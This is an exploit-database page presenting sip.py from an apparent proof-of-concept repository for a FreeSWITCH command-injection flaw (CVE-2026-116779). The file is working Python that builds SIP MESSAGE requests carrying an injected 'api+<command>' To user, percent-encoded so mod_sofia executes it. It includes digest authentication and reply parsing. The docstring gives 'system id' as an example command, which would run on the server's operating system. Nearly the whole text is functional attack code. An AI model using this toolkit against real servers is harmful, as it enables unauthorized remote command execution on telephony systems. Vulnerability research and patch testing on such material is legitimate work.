Exploit database

GH-f4fd60b226ca5ef38aead3526ddf03a7

hackzuoji/freeswitch-cve-2026-116779-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-116779

5 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files8
hackzuoji/freeswitch-cve-2026-116779-pocRevision a93e58db1df7

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

fscve/sip.py

Python · 8,008 bytes
"""SIP message building, parsing and digest authentication.

Implements just enough of RFC 3261 / RFC 2617 for the toolkit: build a
MESSAGE request whose To user carries the injected command, parse the reply,
and answer a 401/407 challenge when credentials are supplied.
"""

from __future__ import annotations

import hashlib
import os
import re
from dataclasses import dataclass, field
from typing import Dict, List, Optional, Tuple

# sofia_presence_handle_sip_i_message() copies the To user into ``char
# proto[512]`` before splitting on '+'. Anything longer is silently truncated,
# so keep the encoded user well below that.
MAX_TO_USER = 500

_UNRESERVED = frozenset(
    "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~"
)

DEFAULT_UA = "fscve/%s"


# --------------------------------------------------------------------------- #
# encoding
# --------------------------------------------------------------------------- #
def sip_encode(text: str) -> str:
    """Percent-encode everything outside the RFC 3986 unreserved set.

    A literal space must become ``%20`` (``switch_url_decode`` never treats
    ``+`` as a space), and a literal ``+`` must become ``%2B`` because
    mod_sofia rewrites the first surviving ``+`` in the To user into ``@``.
    """
    return "".join(
        ch if ch in _UNRESERVED else "%%%02X" % byte
        for byte, ch in ((b, chr(b)) for b in text.encode("utf-8"))
    )


def make_to_user(command: str) -> str:
    """``version`` -> ``api+version``; ``system id`` -> ``api+system%20id``."""
    return "api+" + sip_encode(command)


# --------------------------------------------------------------------------- #
# digest auth
# --------------------------------------------------------------------------- #
def md5_hex(text: str) -> str:
    return hashlib.md5(text.encode("utf-8", "replace")).hexdigest()


_TOKEN_RE = re.compile(r'([A-Za-z0-9_.\-]+)\s*=\s*(?:"([^"]*)"|([^,\s]+))')


def parse_auth_params(header_value: str) -> Dict[str, str]:
    params: Dict[str, str] = {}
    for key, quoted, token in _TOKEN_RE.findall(header_value or ""):
        params[key.lower()] = quoted if quoted else token
    return params


def digest_authorization(
    username: str,
    password: str,
    method: str,
    uri: str,
    challenge: Dict[str, str],
    nc: int = 1,
    cnonce: Optional[str] = None,
) -> str:
    """Build a ``Digest`` Authorization header value (MD5 / MD5-sess)."""
    realm = challenge.get("realm", "")
    nonce = challenge.get("nonce", "")
    qop = (challenge.get("qop") or "").lower()
    algorithm = (challenge.get("algorithm") or "MD5").upper()
    opaque = challenge.get("opaque")

    if algorithm not in ("MD5", "MD5-SESS"):
        algorithm = "MD5"

    cnonce = cnonce or os.urandom(8).hex()
    nc_value = "%08x" % nc

    ha1 = md5_hex("%s:%s:%s" % (username, realm, password))
    if algorithm == "MD5-SESS":
        ha1 = md5_hex("%s:%s:%s" % (ha1, nonce, cnonce))
    ha2 = md5_hex("%s:%s" % (method, uri))

    if "auth" in qop:
        response = md5_hex("%s:%s:%s:%s:auth:%s" % (ha1, nonce, nc_value, cnonce, ha2))
        qop_field = ', qop=auth, nc=%s, cnonce="%s"' % (nc_value, cnonce)
    else:
        response = md5_hex("%s:%s:%s" % (ha1, nonce, ha2))
        qop_field = ""

    header = (
        'Digest username="%s", realm="%s", nonce="%s", uri="%s", '
        'response="%s", algorithm=%s%s'
        % (username, realm, nonce, uri, response, algorithm, qop_field)
    )
    if opaque:
        header += ', opaque="%s"' % opaque
    return header


# --------------------------------------------------------------------------- #
# message model
# --------------------------------------------------------------------------- #
@dataclass
class SipMessage:
    raw: bytes
    start_line: str
    headers: Dict[str, List[str]] = field(default_factory=dict)
    body: str = ""

    @property
    def is_response(self) -> bool:
        return self.start_line.upper().startswith("SIP/2.0")

    @property
    def status_code(self) -> Optional[int]:
        if not self.is_response:
            return None
        parts = self.start_line.split()
        if len(parts) >= 2 and parts[1].isdigit():
            return int(parts[1])
        return None

    @property
    def method(self) -> Optional[str]:
        if self.is_response:
            return None
        return self.start_line.split(" ", 1)[0].upper()

    def header(self, name: str) -> Optional[str]:
        values = self.headers.get(name.lower())
        return values[0] if values else None


def parse_sip(raw: bytes) -> Optional[SipMessage]:
    if not raw:
        return None
    text = raw.decode("utf-8", "replace")
    if "\r\n\r\n" in text:
        head, body = text.split("\r\n\r\n", 1)
    elif "\n\n" in text:
        head, body = text.split("\n\n", 1)
    else:
        head, body = text, ""

    lines = head.replace("\r\n", "\n").split("\n")
    if not lines or not lines[0].strip():
        return None

    msg = SipMessage(raw=raw, start_line=lines[0].strip(), body=body)
    for line in lines[1:]:
        if not line.strip():
            continue
        if line[0] in " \t" and msg.headers:
            last = list(msg.headers)[-1]
            msg.headers[last][-1] += " " + line.strip()
            continue
        if ":" not in line:
            continue
        name, value = line.split(":", 1)
        msg.headers.setdefault(name.strip().lower(), []).append(value.strip())
    return msg


_START = rb"(?:SIP/2\.0 \d{3}|(?:MESSAGE|INVITE|OPTIONS|NOTIFY|REGISTER|INFO|BYE|ACK) sip:)"


def split_datagram(payload: bytes) -> List[bytes]:
    """Split concatenated SIP messages sharing one datagram/stream read."""
    if not payload:
        return []
    parts: List[bytes] = []
    remainder = payload
    pattern = re.compile(rb"\r\n\r\n(?=" + _START + rb")")
    while True:
        match = pattern.search(remainder)
        if not match:
            parts.append(remainder)
            break
        parts.append(remainder[: match.end()])
        remainder = remainder[match.end():]
    return [p for p in parts if p.strip()]


def status_of(raw: bytes) -> Optional[int]:
    if not raw:
        return None
    first = raw.split(b"\r\n", 1)[0].decode("latin-1", "replace")
    parts = first.split()
    if len(parts) >= 2 and parts[0].upper() == "SIP/2.0" and parts[1].isdigit():
        return int(parts[1])
    return None


# --------------------------------------------------------------------------- #
# request builder
# --------------------------------------------------------------------------- #
def build_message(
    host: str,
    port: int,
    command: str,
    *,
    transport: str = "tcp",
    local_ip: str = "127.0.0.1",
    local_port: int = 5060,
    call_id: Optional[str] = None,
    cseq: int = 1,
    from_tag: Optional[str] = None,
    auth: Optional[Tuple[str, str]] = None,
    user_agent: str = "fscve",
) -> bytes:
    """Build the ``api+<command>`` MESSAGE request."""
    user = make_to_user(command)
    ruri = "sip:%s@%s:%d" % (user, host, port)
    call_id = call_id or os.urandom(8).hex() + "@fscve"
    from_tag = from_tag or os.urandom(4).hex()

    lines = [
        "MESSAGE %s SIP/2.0" % ruri,
        "Via: SIP/2.0/%s %s:%d;branch=z9hG4bK%s;rport"
        % (transport.upper(), local_ip, local_port, os.urandom(6).hex()),
        "Max-Forwards: 70",
        'From: "fscve" <sip:fscve@invalid>;tag=%s' % from_tag,
        "To: <%s>" % ruri,
        "Call-ID: %s" % call_id,
        "CSeq: %d MESSAGE" % cseq,
        "Contact: <sip:fscve@invalid>",
        "User-Agent: %s" % user_agent,
        "Content-Type: text/plain",
    ]
    if auth:
        lines.append("%s: %s" % auth)
    lines.append("Content-Length: 0")
    return ("\r\n".join(lines) + "\r\n\r\n").encode()


def ruri_for(host: str, port: int, command: str) -> str:
    """The exact request-URI string (digest requires it verbatim)."""
    return "sip:%s@%s:%d" % (make_to_user(command), host, port)